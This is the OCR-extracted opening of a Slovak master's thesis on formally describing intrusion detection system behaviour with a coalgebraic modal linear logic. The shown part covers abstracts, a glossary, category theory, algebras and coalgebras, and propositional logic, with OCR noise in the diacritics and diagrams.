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Abstrakt v SJ

S vyraznym rozvojom informacnej spolo¢nosti v uplynulom obdobi rastie tlak
na bezpecnost pocitacovych sieti. Jednou z moznosti ako zvysit ich zabezpecenie
je aj nasadenie systému pre detekciu prienikov v (pocitacovej) sieti - IDS. Tato
diplomova praca sa zaobera formalnym popisom spravania sa IDS, prostrednictvom
netradi¢nych zdrojovo orientovanych logik a jeho modelovania v pojmoch abstrakt-
ného ramca teodrie kategérii koalgebrou prislusného polynomidlneho endofunktora
nad kategériou nekoneéného toku paketov. Pre popis IDS prostrednictvom logickych
systémov bola navrhnuté koalgebraickd modalna linearna logika pre IDS, pomocou
ktorej bol vyjadreny behavioralny prejav IDS formulou po simulovanom utoku ARP

spoofing v redlnom laboratéornom prostredi.

KTIacové slova

ARP spoofing, IDS, koalgebra, linedrna logika, tedria kategorii

Abstrakt v AJ

Significant development of the information society in recent years creates incre-
asing pressure on network security. One of the possibilities how to increase network
security is the deployment of the intrusion detection system in computer network
- IDS. This thesis deals with formal description of the IDS behavior, through non-
traditional resource-oriented logical systems and modeling of IDS behavior in terms
of an abstract frame of category theory by coalgebra’s relevant polynomial endo-
functor over category of the endless stream of packets. For a description of the IDS
via logical systems, the Coalgebraic modal linear logic for IDS has been introduced,
by which the behavioral effects of the IDS after simulated ARP spoofing attack in

real laboratory environment has been expressed by formula.

KTlacové slova v AJ

ARP spoofing, category theory, coalgebra, IDS, linear logic
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€ relacia prislusnosti prvku mnoziny vo¢i mnozine

% multiplikativna disjunkcia, binarna logicka spojka linearnej logiky a koalgeb-

raickej modalnej linedrnej logiky

K1, ke koprojekcie stuctového objektu kategérie C

A konjunkcia, bindrna logicka spojka zakladnej modélnej logiky K a vyrokovéj
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V disjunkcia, binarna logicka zakladnej modalnej logiky K a spojka vyrokovej
logiky

0 pociatocny objekt kategorie C a konstanta linearnej logiky

1 koncovy objekt kategorie C, konstanta linedrnej logiky a koalgebraickej mo-

dalnej linedrnej logiky
Alg(F) kategoria F-algebier
Coalg(F) kategoria F-koalgebier
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Mon kategéria monoidov
M Kripkeho model
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Poset kategoria ciastocne usporiadanych mnozin



SET

Set

R < > X 3 M

!

1, T2

kategoria tried

kategoria mnozin

z ang. ,if and only if binarna logicka spojka

mnozina mien operacii

mnozina mien typov

infinitna disjunkcia, logicka spojka koalgebraickej modélnej linedrnej logiky
infinitnd konjunkcia, logicka spojka koalgebraickej modalnej logiky

infinitné disjunkcia, logickd spojka koalgebraickej modalnej logiky

infinitnd konjunkcia, logickd spojka koalgebraickej modalnej linearnej logiky

implikécia, binarna logicka spojka linearnej logiky a koalgebraickej modalnej

linearnej logiky

modalita nabla, logicka spojka koalgebraickej modalnej logiky a koalgebraic-

kej modalnej linearnej logiky a koalgebraickej modélnej linearnej logiky

negacia, unarna logicka spojka zakladnej modalnej logiky K a vyrokovej lo-

giky
aditivna disjunkcia, binarna logickéa spojka linearnej logiky

multiplikativna konjunkcia, binarna logicka spojka linearnej logiky a koalgeb-

raickej modalnej linedrnej logiky

absurdum, konstanta zakladnej modalnej logiky K, vyrokovej logiky a kon-

Stanta linearnej logiky
projekcie suctového objektu kategorie C

operacia zobrazenia jedného prvku do druhého



je nutné, unarna logicka spojka zakladnej modalnej logiky K a koalgebraickej

modalnej linearnej logiky
operacia pre karteziansky a kategoricky sucin objektov

verum, konstanta zakladnej modalnej logiky K, vyrokovej logiky a konstanta

linearnej logiky

v, ¥, 9 formuly vyrokovej logiky, linedrnej logiky, zakladnej modalnej logiky K, ko-

f,9.h

Poset

VL

algebraickej modalnej logiky a koalgebraickej modalnej linearnej logiky
turniket, oddeluje pravi a lava stranu sekventu
multiplikativna konjunkcia, binarna logicka spojka linearnej logiky

elementarna formula linearnej logiky a koalgebraickej modalnej linedrnej lo-

giky - zdrojovo orientovana koalgebraicka modalita
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atomicky vyrok vyrokovej logiky
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Slovnik terminov

Algebra je usporiadand dvojica (X, (), kde X € C, je objekt kategérie C a ¢ € C),
je morfizmus kategorie C taky, ze ( : FX — X.

Algebraicka topoldgia je oblast matematiky, ktorda vyuziva metody abstraktne;j

algebry na stidium topologickych priestorov.
Axiéma je vyrok, ktory sa povazuje za pravdivy a nedokazuje sa.

Backus-Naurova forma je sposob vyjadrenia metasyntaxe pouzivany k popisu

syntaxe jazykov.

Doména je definiény obor funkcie. V tedrii kategérii je doména zdrojovy objekt

morfizmu.
Endofunktor je funktor, ktorého zdrojova aj cielova kategéria je rovnaka.

Finalna koalgebra je usporiadand dvojica (X, x), kde plati, ze pre kazda dvoj-
icu F-koalgebier (X, w), (X, x) existuje jedine¢ny homomorfizmus F-koalgebier

z (X,w) do (X, x).

Funkcia je jednoznac¢né zobrazenie, ktoré priraduje kazdému prvku jednej mnoziny

A (tzv. domény) prave jeden prvok druhej mnoziny B (tzv. kodomény).
Funktor je struktiru zachovavajici morfizmus medzi kategoriami.

Grupoid je algebraicka struktura, ktord pozostava z neprazdnej mnoziny a na nej

definovanej bindrnej operacii.

Homomorfizmus je jednosmerné, struktiru zachovdvajice zobrazenie [26] medzi
algebraickymi struktdrami, t.j. morfizmus smerujici zo zdrojového objektu

do cielového objektu kategoérie.

Hop (z ang. network hop) je jeden tisek cesty déatového paketu medzi odosielatelom

a prijemcom. Paket prechadza siefou cez smerovacie zariadenia a pristupové



sietové priechody. Pri kazdom prechode paketu takymto zariadenim sa dlzka

cesty zvacsi o jeden hop.

Inicidlna algebra je usporiadana dvojica (X, (), kde plati, ze pre kazda dvojicu
F-algebier (X, (), (X, &) existuje jediny homomorfizmus F-algebier z (X, () do
(X, ).

Involicia je taka funkcia, ktora je sama sebe inverznym zobrazenim.

Izomorfizmus je obojsmerné, struktiru zachovavajice zobrazenie [20], t.j. morfiz-
mus 1:1 medzi dvoma objektami kategorie. Je to bijektivny homomorfizmus,

v ktorom aj inverzna funkcia je homomorfizmus.

Kauzalita vyjadruje vztah medzi dvoma akciami (pri¢inou a nésledkom), kde

druha akcia (nésledok) je chapana ako reakcia prvej akcie (priciny).

Kategoéria je matematicka struktira, ktora pozostava z triedy objektov C, a triedy

morfizmov C,,.

Koalgebra je usporiadand dvojica (X,w) kde X € C, je objekt kategérie C a w €
C,, je morfizmus kategorie C taky, ze w : X — FX.

Kodoména je obor hodnot funkcie. V teorii kategorii je kodoména cielovy objekt

morfizmu.

Komutativnost je vlastnost, ktord plati pre bindrnu operaciu, vyjadrujica neza-

vislost poradia operandov.
Metasyntax je syntax pouzivand pre opis syntaxe.
Mnozina je stubor prvkov s rovnakou vlastnostou, ktory je chapany ako celok.

Monoid je algebraicka struktira s jednou asociativnou binarnou operaciou a neut-

ralnym prvkom.



Morfizmus je podla [26] zobrazenie jednej Struktiry do druhej, pri¢om zostava

zachovana jej struktira.

Odvodzovacie pravidlo je zakladny dokazovaci prostriedok, pomocou ktorého mozno
z formul, o ktorych je zname, ze st dokazatelné, odvodit (dedukovat) ind do-

kizatelnt formulu.

Stcinovy objekt je v tedrii kategorii zovSeobecnenim pojmu kartezianskeho su-

¢inu v pojmoch tedrie mnozin.

Sictovy objekt je v teorii kategorii zovSeobecnenim pojmu disjunktného zjedno-

tenia v pojmoch tedrie mnozin.
Syntax vyjadruje pravidla pre zapis formalneho jazyka

Paket (z ang. packet) oznacuje blok dat prendsany prostrednictvom pocitacove;

siete.

Paralelizmus je v informatike oznacenie pre vypocty alebo procesy, ktoré su vy-

kondvane stbezne (paralelne).
Pleonazmus neopodstatnené hromadenie toho istého slova.

Polemika je diskutabilny argument, ktory je urceny na potvrdenie konkrétneho

porozumenia prostrednictvom ttokov na opacnu poziciu.

Poset (Ciastoéne usporiadand mnozina) je usporiadana dvojica (P, <), kde P je
mnozina a na nej je definovana binarna relacia usporiadania <, ktora je refle-

xivna, tranzitivna a antisymetricka.

Pristupovy sietovy priechod (z ang. gateway) je siefovy uzol uréeny na prepa-

janie sieti, ktoré vyuzivaju iné siefové protokoly.

Smerovacie zariadenie (z ang. router) je aktivne sietové zariadenie, ktoré prepo-

siela pakety medzi pocitacovymi sietami.



Trieda je stbor mnozin (niekedy aj inych matematickych objektov), u ktorych

mozno pripad od pripadu urcit, ¢i do danej triedy patri alebo nepatri.

Zariadenie bezpec¢nostného rozhrania (zang. firewall) kombinécia softvéru a hard-

véru, ktord filtruje alebo blokuje prevadzku od/do verejnej siete.



FEI KPI

1 Uvod

Pre popis redlnych situacii je potrebné v kazdej oblasti vedeckého posobenia zvo-
lit vhodny formalizmus. Medzi najpouzivanejsie formalizmy patria napriklad tedria
kategorii alebo rozne logické systémy, ktoré v uplynulom obdobi zaznamenali vy-
razny rozmach. Samotna logika ako takd bola definovand uz Aristotelom, no vicsie
vyuzitie nasla az v dvadsiatom storoc¢i nasho letopoc¢tu. V sicasnosti, s obrovskym
rozvojom prirodovedného ako aj technického odvetvia, sa pre logiku nachadza coraz
vécsie vyuzitie v mnohych oblastiach, akymi je matematika ¢i lingvistika, a dokonca
vznikla aj samostatna veda zaoberajica sa logikou, ktora donedavna spadala pod
oblast matematiky:.

Z technickych odvetvi sa logika najviac vyuziva v oblasti informac¢nych techno-
l6gii, avsak vyjadrovacia schopnost najpouzivanejsich klasickych logik ako napriklad
vyrokova logika, ktora vychadza z Tarského sémantickej tradicie pozorujicej pravdu
resp. nepravdu vyroku, alebo intuicionisticka logika, ktord je zalozena na Heytingo-
vej sémantickej tradicii vnimajicej zmysel formil, je zna¢ne obmedzena. Kvoli tomu
je potrebné, aby sa paralelne so vzostupom v technickej oblasti rozvijali aj logické
systémy. Prelomovy krok v tejto oblasti nastal v roku 1987 s prichodom linearnej
logiky, ktora je zovseobecnenim a rozsirenim vyssie spomenutych tradiénych logik.

Pre exaktny popis spravania sa zlozitych programovych systémov, ako je na-
priklad systém pre detekciu prienikov (v poéitacovej sieti), st tradicné logiky ako
formalizmy casto nepostacujice. Preto sa nika idea vytvorit vhodny formalizmus
pre popis, ktory by splial aj narocné poziadavky spravania sa spomenutych sys-
témov. K tomu moze dopomoct aj spomenutd linearna logika, ktora vdaka svojmu
novému, zdrojovo orientovanému pristupu k formulam a zavedenim novych logickych
spojok, ziskava vyjadrovaciu silu akou nedisponuje ziadna ina logika.

V tejto inzinierskej zaverecnej praci sa budem zaoberat zakladnymi pojmami z
oblasti vyssie spomenutych najpouzivanejsich formalizmov a to konkrétne teédrie ka-

tegoérii, dualitou algebier a koalgebier a ich modelovanim v pojmoch abstraktného
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ramca teorie kategorii, struénym tivodom do vyrokovej a linearnej logiky, modalnymi
logikami, konkrétne zakladnou modalnou logikou K a koalgebraickou modélnou lo-

gikou. Ciele préace st uvedené v samostatnej kapitole na dalsej strane prace.
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2 Formulacia dlohy

Primédrnym cielom tejto préace je, po osvojeni skor uvedenych oblasti v kapitole (1)),
analyzovat a navrhnuf moznosti vyuzitia koalgebraickej logiky na zdrojovo orien-
tovanom zaklade pre popis spravania sa zlozitych programovych systémov ako je
napriklad IDS. Na to bude potrebné najprv definovat novy logicky systém - ko-
algebraicki modalnu linedrnu logiku (CMLL) pre popis spravania sa IDS, ktory
vznikne zovsSeobecnenim koalgebraickej logiky a multiplikativneho fragmentu line-

arnej logiky. Kvoli tomu je nutné:

e Definovat syntax a symboly jazyka CMLL. V mojom pripade bude zvolena pre
symboly induktivna forma zapisu a definicia syntaxe jazyka bude vyjadrena

produkénym pravidlom v Backus-Naurovej forme.
e Definovat sémantiku pre CMLL (Kripkeho model).

e Formulovat dedukéné pravidla pre CMLL v Gentzenovom sekventovom kal-

kule.

Dalsim krokom pri vypracovani diplomovej prace bude na konkrétnom priklade
vybraného siefového narusenia realizovaf popis stavovo orientovanej dynamiky IDS
pomocou navrhnutého logického systému a koaglebrou prislusného polynomialneho

endofunktora.
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3 Teédria kategorii

Pojem tedria kategérii sa prvy krat objavil v praci [9], z roku 1945 od Samuela Eilen-
berga a Saundersa MacLana, kde formulovali termin kategérii, funktorov a prirodze-
nych transformacii funktorov, ako cast ich vyskumu v oblasti algebraickej topologie.

Za kratky cas sa teéria kategéril zacala vyuzivat aj mimo algebier [46] a v si-
Casnosti je univerzalnym prostriedkom pre opis Struktir (matematickych, algebraic-
kych, ¢i abstraktnych tdajovych pouzivanych v informatike) [26]. Medzi najpouzi-

vanejSie struktary patria napriklad mnoziny, monoid, grupoid, algebra atd.

3.1 Kategorie
Definicia 3.1. Kategdria C podla [44] sa sklad4 z:
e triedy C, = {X,Y, Z, ...}, ktorej prvky sa nazyvaju objekty,

e triedy zobrazeni medzi objektami C,, = {f, g, h, ...}, ktorej prvky sa nazyvaji

morfizmy.
Kazda kategoria C [27] ma tieto charakteristické vlastnosti:

e pre kazdu dvojicu objektov X,Y € C,, existuje morfizmus f € C,,, kde plati
f:X—=Y,

e mnozinu, ktorej prvky tvoria vsetky morfizmy z objektu X do objektu Y,

nazyvame Homset:
Home(X,Y)={f|f: X =Y} (3.1)
kde X € C,,Y € C,, f € C,,,

e nech X,Y € C,, potom morfizmus f € C,, mad doménu a kodoménu, ktoré su
objekty a zapisuju sa ako f : X — Y alebo X EN Y, kde X je doména a YV je

kodoména morfizmu f,
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e pre kazdy objekt X € C,, existuje identicky morfizmus IDx € C,,, kde I Dx :

X — X, ktorého doména aj kodoména je X,

e majme dané f,g,h € C,, a X,Y, Z € C,, nech X Lyay % Z, potom exis-
tuje kompozicia morfizmov fog = h, kde X Ny Plati, ze dom(h) = dom(f)
a cod(h) = cod(g),

e kompozicia morfizmov je asociativna. Nech f, g, h € C,,, potom plati:
fo(goh)=(fog)oh (3.2)
Vztah (3.2)), sa Casto nazyva aj pravidlo asociativity,

e nech XY € C,, izomorfizmus objektov f (X = Y) plati, ak pre kazdy mor-

fizmus f: X — Y, existuje morfizmus h : Y — X taky, ze plati:

foh=idy a holf=idy (3.3)

V takomto pripade je taktiez mozné povedat, ze morfizmus f je inverzny k

morfizmu h.

Priklad 3.2. Najzndmejsie kategorie podla [36] su:

e Kategéria mnozin Set, ktorej objekty st mnoziny, a morfizmy st uplne de-
finované funkcie medzi mnozinami, identicky morfizmus je identicka funkcia

a kompozicia morfizmov je kompozicia funkcii.

e Kategoéria tried SET, ktorej objekty su triedy, a morfizmy st tiplne definované
funkcie medzi triedami, identicky morfizmus je identicka funkcia a kompozicia

morfizmov je kompozicia funkcii.

e Kategoéria ¢iastocne usporiadanych mnozin Poset, ktorej objekty s ¢iastocne

usporiadané mnoziny, a morfizmy su relacie usporiadania.
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e Kategéria nonoidov Mon, ktorej objekty st monoidy, a morfizmy st homo-

morfizmy, ktoré zachovavaju struktiru monoidov.
e Kategéria 0 nemé objekty ani morfizmy.

e Kategéria 1 méa prave jeden objekt a jeden morfizmus. Z pravidla identity je

mozné povedat, ze morfizmus musi byt identicky morfizmus.

e Kategéria 2 ma dva objekty, dva identické morfizmy a jeden morfizmus z pr-

vého objektu do druhého.

e Kategéria 3 ma tri objekty (napr. XY, Z € C,), tri identické morfizmy a tri
morfizmy (napr. f,g,h € Cy): f: X =Y, g:Y - Z fog=h: X — Z.

3.2 Diagramy kategorii

Definicia 3.3. Diagram kategérie C je trieda vrcholov a trieda orientovanych hran
[3], kde hrany st oznacené morfizmami a vrcholy si oznacené objektami kategorie

C.
(]

Tento sposob zapisu umoznuje zobrazit kategérie, napr. diagram kategérie 3 (bez

identickych morfizmov) je zobrazeny na obrazku (3—1)):

Y
/\0\
X -7
h

Obrazok 3—1 Diagram Kategérie 3

Diagramy sa v tedrii kategorii pouzivaji nielen pre zobrazenie kategérii, ale

hlavne na vizualizaciu vlastnosti kategorickych struktur.
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Definicia 3.4. Diagram kategérie C je komutativny [36], ak pre kazdé dva vrcholy
XYW, Z € C, plati, ze vSetky cesty v diagrame z vrcholu X do vrcholu Y st
ekvivalentné. Napriklad tvrdenie, ze diagram na obrazku (3—2)) je komutativny, je

ekvivalentné tvrdeniu, ze ¢’ o f = f o g.

f/

X Z
q © g

Obrazok 3—2 Priklad komutativneho diagramu

Symbol ® v diagrame (3—2), vyjadruje komutovanost diagramu.
Pre upresnenie je potrebné uviest, ze diagram na obrazku (3—3|), zobrazuje ek-

f
X—=Y Z

Obrazok 3—-3 Komutativny diagram

vivalenciu ciest foh a goh (foh =goh), ale neplati f = g.

3.3 Specialne objekty

Definicia 3.5. Pociatocny a koncovy objekt kategérie C. Kazda kategoria C [26]

moze obsahovat Specidlne objekty:

e Pociatocny objekt 0 € C, ak plati, ze pre kazdy objekt X € C,, existuje prave
jeden morfizmus taky, ze f: 0 --» X.

e Koncovy objekt 1 € C,, ak plati, ze pre kazdy objekt X € C,, existuje prave

jeden morfizmus taky, ze f: X --» 1.
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Kazda kategoria méze a nemusi obsahovat jeden alebo viacero takychto objektov.

O

3.4 Sucinové a suctové objekty kategorie

Sucin objektov kategérie (kategoricky suéin) je iba ,Strukturdlnym® zovSeobecne-
nim pojmu kartezidnsky stiéin mnozin [36]. Majme dané dve mnoziny A a B, ich

karteziansky sucin je:
Ax B={(ab)|ac ANbe B} (3.4)

Pricom k mnozine A x B s asociované dve specialne zobrazenia, nazyvané projekcie:

e Prva projekcia:

m:AXxB— A (3.5)

e Druha projekcia:

m: AXx B— B (3.6)

Definicia 3.6. Bindrny sicin objektov X, Y € C, [30], je novy objekt X XY s dvomi
projekciami 7 : X XY — X am: X XY — Y, pricom pre kazda dvojicu morfizmov
f:Z—=Xag:Z —Y, kde Z € C,, existuje jediny morfizmus (f,g) : Z --» X XY,
kvoli ktorému diagram na obrazku ([3—4), kde p = (f, g),

Obrazok 3—4 Diagram bin. stuc¢inu objektov X, Y € C,

komutuje, t.j. plati f = (f,g9) om a g = (f, g) o m.




FEI KPI

Duélnou operaciou k bindrnemu sicinu objektov kategérie (produkt) je bindrny

sucet objektov kategérie (koprodukt).

Definicia 3.7. Bindrny sucet objektov X,Y € C, [36], je novy objekt X +Y s dvomi
koprojekciami k1 : X — X +Y a ks : Y — X + Y, pricom pre kazdu kodvojicu
morfizmov f : X — Zag:Y — Z, kde Z € C,, existuje jediny morfizmus
[f.9]: X +Y — Z, kvoli ktorému diagram na obrazku (3=5]), kde k = [f, g],

R1 Ko

Obrazok 3—5 Diagram bin. sic¢tu objektov X, Y € C,

komutuje, t.j. plati f =k 0[f,g9] a g =r20]f, 9]
(I

Binarny stucin a sicet objektov kategorie je mozné zovseobecnit na koneény pocet

n objektov [26], vid (3.7)):
XixXogx---x X, resp. X1+Xo+---+X, (3.7)

a im asociované prislusné n-projekcie 71, mo, . . ., m, resp. n-koprojekcie k1, Ko, . . . , K.

3.5 Exponencidlny objekt kategorie

Definicia 3.8. Kategoria C obsahuje exponent objektov X,Y € C, [36], ak pre
kazdy objekt X,Y existuje objekt YX a vyhodnocovaci morfizmus evalxy : (YX x
X) — Y taky, ze pre kazdy objekt Z € C, a morfizmus f : (Z x X) — Y existuje
jedine¢ny morfizmus f* : Z — Y, kvoli ktorému diagram na obrazku ,
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VX o X eval op v
7 x X

Obrazok 3—6 Exponent objektov X, Y € C,

komutuje, kde g = f* x IDx, a plati (f* x IDx) o evalxy = f.

3.6 Funktory

Mnohé matematické struktiry mozu byt zobrazené ako kategérie. Kedze kategorie
taktieZ predstavuji matematické Struktiry [8], tak je vhodné uvazovat aj o kategérii
kategorii, kde objekty st kategérie a morfizmy st struktiaru zachovavajice zobra-
zenia medzi kategériami, nazyvané funktory. Vo vSeobecnosti je mozné povedat, ze

funktory st morfizmy medzi kategériami.

Definicia 3.9. Majme dané kategorie C a D. Funktor F' : C — D je morfizmus
zo zdrojovej kategérie C do cielovej kategérie D [36], pricom kazdému objektu X
kategorie C priradi objekt F(X) kategérie D a kazdému morfizmu f : X — Y
kategérie C priradi morfizmus F'(f) : F(X) — F(Y) kategérie D, pricom:

e pre kazdy objekt X € C, a jeho identicky morfizmus idy : X — X plati:
F(idx) = idp(x), (3.8)
e pre kazdé morfizmy f, g € C,,, zachovava vlastnosti kompozicie f o g:

F(fog)=F(f)o F(g). (3.9)

10
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Tento druh funktorov (3.9) sa zaraduje medzi jednoduché funktory [41]. Dalgie

jednoduché funktory st napr.:
o identicky funktor D¢ : C — C na kategorii C,
e cendofunktor ' : C — C, ktorého zdrojova aj cielova kategoria je rovnaka.

Dal$fm jednoduchym druhom funktorov, ale velmi délezitym, st zabidajice fun-

kory. Tento druh funktorov ,zabuda® cast struktury pri zobrazeni.

Priklad 3.10. Zabidajici funktor U : Mon — Set z kategdérie monoidov Mon,
priradi kazdému monoidu M prislusnit mnozinu M z kategoérie mnozin Set a kaz-
dému homomorfizmu monoida h : (M, ®,e) — (M’', ®’, ¢') prislusni funkciu

h:M— M. O

Definicia 3.11. Polynonomialny endofunktor F' nad kategériou C.
Nech X,Y € C, a C, € C, potom polynonomidlny endofunktor F' [26], je endo-

funktor F': C — C tvoreny pomocou nasledujtcich polynomialnych operacii:
FX:=X|XxY|X+Y|X¥ (3.10)

O

11
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4 Algebry vs koalgebry

Algebry a koalgebry st duélne kategorické struktury [30]. VaéSinou sa s nimi pracuje

v pojmoch tedrie kategorii.

Definicia 4.1. Majme dant kategoériu C a polynomiadlny endofunktor F' na kategérii
C. Potom algebra polynomidlneho endofunktora [18], alebo F'-algebra je usporiadana

dvojica

kde
e X je objekt kategérie C,
e ( je morfizmus kategorie C taky, ze ( : FX — X.

Objekt X € C je nosna mnozina algebry a morfizmus ¢ € C je strukturalna funkcia
algebry.
Kategéria F-algebier Alg(F) je podla [26] kategoria, ktorej

e objekty su F-algebry,
e morfizmy st homomorfizmy F-algebry,
e pociatocny objekt je inicidlna algebra.
O

Definicia 4.2. Majme dant kategériu C a polynomidlny endofunktor F' na kate-
gérii C. Potom koalgebra polynomidlneho endofunktora [22], alebo F'-Koalgebra, je

usporiadana dvojica

kde

12
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e X je objekt kategorie C,
e w je morfizmus kategérie C taky, ze w: X — FX.

Objekt X € C je stavovy priestor koalgebry a morfizmus w € C je strukturalna
funkcia koalgebry.
Kategéria F-koalgebier Coalg(F) je podla [26] kategoria, ktorej

e objekty su F-koalgebry,
e morfizmy st homomorfizmy F-koalgebry,

e koncovy objekt je findlna koalgebra.

4.1 Homomorfizmus (ko)algebier

Definicia 4.3. Majme dant kategoriu C a polynomidlny endofunktor F' na kategoérii
C. Nech (X, () a (X, &) st F-algebry, potom homomorfizmus F-algebry z (X, () do
(X, €) je morfizmus f: X — Y [I7], pri¢om plati, Ze diagram na obrézku (4 — 1)

x .y

¢ @ ¢

FX ——= FY
Ef

Obrazok 4—1 Homomorfizmus algebry

komutuje. O

Definicia 4.4. Majme dant kategoriu C a polynomidlny endofunktor F' na kategoérii
C. Nech (X,w) a (X, x) st F-koalgebry, potom homomorfizmus F-koalgebry z (X, w)
do (X, x) je morfizmus f : X — Y [206], pricom plati, Ze diagram na obrézku (4 —2))

komutuje.

13
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Xi,y

©

W X

FX —— FY
Ef

Obrazok 4—2 Homomorfizmus koalgebry

4.2 Iniciadlne algebry a finalne koalgebry

Definicia 4.5. Majme danu kategériu C a endofunktor F' na kategoérii C. Nech
(X,¢) a (X, &) su F-algebry. F-Algebra (X, () sa nazyva incidlnou F-algebrou [17],
ak pre kazdu dvojicu F-algebier (X, (), (X&) existuje jedingy homomorfizmus F-
algebier z (X, () do (X, ¢):

f:X--5Y (4.1)

pricom plati, ze diagram na obrazku (4 —3):

x -y

¢ @ £

FX --~FY
£f

Obrazok 4—3 Inicidlna algebra

komutuje. Z obrazka (4—3) je jasné, ze plati F'f o & = ( o f. Inicidlna F-algebra je
podla [30], podiatoénym objektom kategérie F-algebier Alg(F).

Ak existujt inicidlne F-algebry, potom musia spliiat nasledujtce vlastnosti:
e plati izomorfizmus FX = X,

e pre morfizmus ¢ : FX — X inicidlnej F-algebry existuje inverzna funkcia

(li X o FX.

14
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Bolo dokézané v [20], Ze inicidlna F-algebra je najmensim fixnym bodom funkei-
onalu.

O

Definicia 4.6. Majme dant kategoriu C a endofunktor F' na kategérii C. Nech
(X,w) a (X, x) st F-koalgebry. F-koalgebra (X, x) sa nazyva findlnou F-koalgebrou
[16], ak pre kazdu dvojicu F-koalgebier (X,w), (X, x) existuje jedinetny homomor-
fizmus F-koalgebier z (X,w) do (X, x):

f:X--»Y (4.2)

pricom plati, ze diagram na obrazku (4 —4)):

X ——f——>Y

w © X

FX --~FY
Ff

Obrazok 4—4 Finalna koalgebra

komutuje. Z obrazka (4—4) je jasné, ze plati fox =wo Ff.
Findlna F-koalgebra je podla [40] koncovym objektom kategérie F-koalgebier
Coalg(F).

Ak existuji findlne F-koalgebry, potom musia spliiat nasledujice vlastnosti:
e plati izomorfizmus Y = FY,

e pre morfizmus x : Y — FY findlnej F-koalgebry existuje inverzna funkcia

YL FY S Y.

»,Na zaklade ¢oho je mozné konstatovat, ze findlne F-koalgebry si zovseobecnenim

pojmu najvacsi fixny bod funkciondlu.“[206]

15
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5 Vyrokova logika

7 hladiska kazdého logického systému su doélezité tri rovnocenné aspekty:
e jazyk logického systému, ktory sa sklada zo symbolov a syntaxe jazyka,
e sémantika logického systému,
e dokazovy systém.

Vyrokova logika sa zaoberd vyrokmi [42], ich logickymi vztahmi a vlastnostami.
Tradi¢nd vyrokova logika zalozend na principoch sémantickej tradicie Tarského [35]
(niekedy tiez nazyvand aj ako matematicka logika) je najdokladnejsie preskimany
obor logiky. Vyrokova logika popisuje logické operatory a spojky, ktoré sa vyuzivaju
k vytvoreniu zlozitejsich vyrokov, ktorych pravdivostna hodnota zavisi vyhradne na
pravdivostnych hodnotéach jednoduchsich (atomickych) vyrokov. Predpokladd sa, ze

kazdy vyrok je bud pravdivy alebo nepravdivy, nikdy oboje.

5.1 Jazyk vyrokovej logiky

Jazyk vyrokovej logiky (VL) je podla [31] definovany symbolmi a syntaxou vyrokove;
logiky.

Definicia 5.1. Symboly jazyka vyrokovej logiky st:

e atomické vyroky: p,q,t,..

*

konstanty: T, L, nazyvané verum, absurdum,

zakladné logické spojky si: unarna logickd spojka: negdcia — a bindrne

logické spojky: konjunkcia A, disjunkcia V, pleonazmickad implikacia =,

formuly vyrokovej logiky: ¢, 9,9, ...,

e pomocné symboly: zitvorky (,).

16
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O

Definicia 5.2. Syntax vyrokovej logiky je definovana produkénym pravidlom

v Backus-Naurovej forme:

pu=p|T|Ll~p oA |V |p=1 (5.1)

pomocou ktorého je mozné skonstruovat vsetky formuly vyrokovej logiky. Podla [31]

sa mnozina, ktord obsahuje vSetky vyrokové formuly, oznacuje Prop.

5.2 Sémantika vyrokovej logiky

Sémantika vyrokovej logiky vychadza z Tarského sémantickej tradicie, ktora sa
zaobera vyznamom formul [14], t.j. kazda formula je bud pravdiva alebo neprav-

diva.

Definicia 5.3. Pravdivostné ohodnotenie vyrokovych formiil je funkcia v
[7], ktora kazdému vyroku, ktory je mozné skonstruovat pomocou produkéného pra-
vidla (5.1)), jednoznacne priradi jeho vyznam, t.j. jeho pravdivostné ohodnotenie

z mnoziny {true, false}, kde
e true reprezentuje pravdu,
e false reprezentuje nepravdu.

Funkcia v je pravdivostné ohodnotenie:
v : Prop — {true, false} (5.2)

e v(p) = true je mozné precitat ako: formula ¢ je pravdiva pri pravdivostnom

ohodnoteni v,

e v(p) = false je mozné precitat ako: formula ¢ je nepravdiva pri pravdivostnom

ohodnoteni v.

17
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Pravdivostné ohodnotenie v, podla [31] spliia nasledujice rovnosti:
e v(T) = true,
e v(Ll) = false,

e v(—p) = true iff v(p) = false,

true, iff v(p) = true a v(y)) = true,

e v(pAY) =
false inak,
false, iff v(p) = false a v(¢)) = false,
e v(p V)=
true nak,
false, iff v(p) = true a v(y)) = false,
e v(p=1) =

true inak.

5.3 Dokazovy systém vyrokovej logiky

Poslednym aspektom, ktory je pri popise logického systému potrebné uviest, je do-
kazovy systém [31]. V tejto praci bude vyuzivany ako dokazovy systém Gentzenov
sekventovy kalkul, ktory nedokazuje konkrétne formuly, ale sekventy [31].

Vyrokovy obojstranny sekvent na takuto formu:

r - A (5:3)
~~ —
P1y--¥n Tﬁlv---ﬂl}m

kde ', A st kone¢né mnoziny formil [42], symbol F nieje logickou spojkou, ale for-

malny symbol oddelujici pravi a lavi stranu sekventu. Zapis
'-A (5.4)

znamena

OLA ANy E VoV, (5.5)
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a je mozné ho precitat ako: ,ak platia vSsetky formuly z lavej strany sekventu, potom
plati aspon jedna formula z pravej strany sekventu*.

Dékaz v sekventovom kalkule je odvodzovaci strom [31], kde v koreni stromu
je dokazovany sekvent, vSetky vrcholy stromu vznikni aplikovanim prislusného de-
dukcéného pravidla a v listoch stromu st axiémy. Ak st dodrzané vsetky uvedené
podmienky, potom je mozné povazovat dokaz za skonStruovany, ¢o znamena, zZe
sekvent v jeho koreni je dokazany.

Dedukcné pravidla moézu nadobudat nasledujice tvary:

Predpoklad Predpoklad, Predpoklads
. p 2) 7 3
Zaver Zaver Zaver

), (5.6)

pricom pravidlo bez predpokladov sa nazyva axioma. Sekventovy kalkul pre vyro-
kovu logiku obsahuje iba jednu axiému, a to axiému identity.

Dedukcéné pravidla pre sekventovy kalkul vyrokovej logiky je mozné rozdelit
na tri skupiny:

1.) Pravidla identity a rezu:

A e p,AEX
CLAFAY

(id) (cut)

Lo A
2.) Strukturalne pravidla:
Pravidla vymeny urcitym spésobom vyjadruju komutativnot logiky tym, ze umoz-

nuju permutaciu formul na oboch stranach sekventu.

T, F A Tk o, A
T, o F A TF 0 A

(€$T)
Pravidla oslabenia ako ich ndzov napovedd, umoznuju oslabit sekvent.

'-A '-A

oA Trp A"

19



FEI KPI

Pravidla kontrakcie vyjadruju idempotentnost konjunkcie a disjunkcie.

Lo A I'kEop,p A
oA () 'Fyp A

Cr

3.) Logické pravidla:
Pravidla pre konjunkciu st dve na lavej strane sekventu, ktoré maji jeden pred-
poklad, a jedno na pravej strane sekventu, ktoré ma dva predpoklady a rozvetvuje

dokazovy strom:

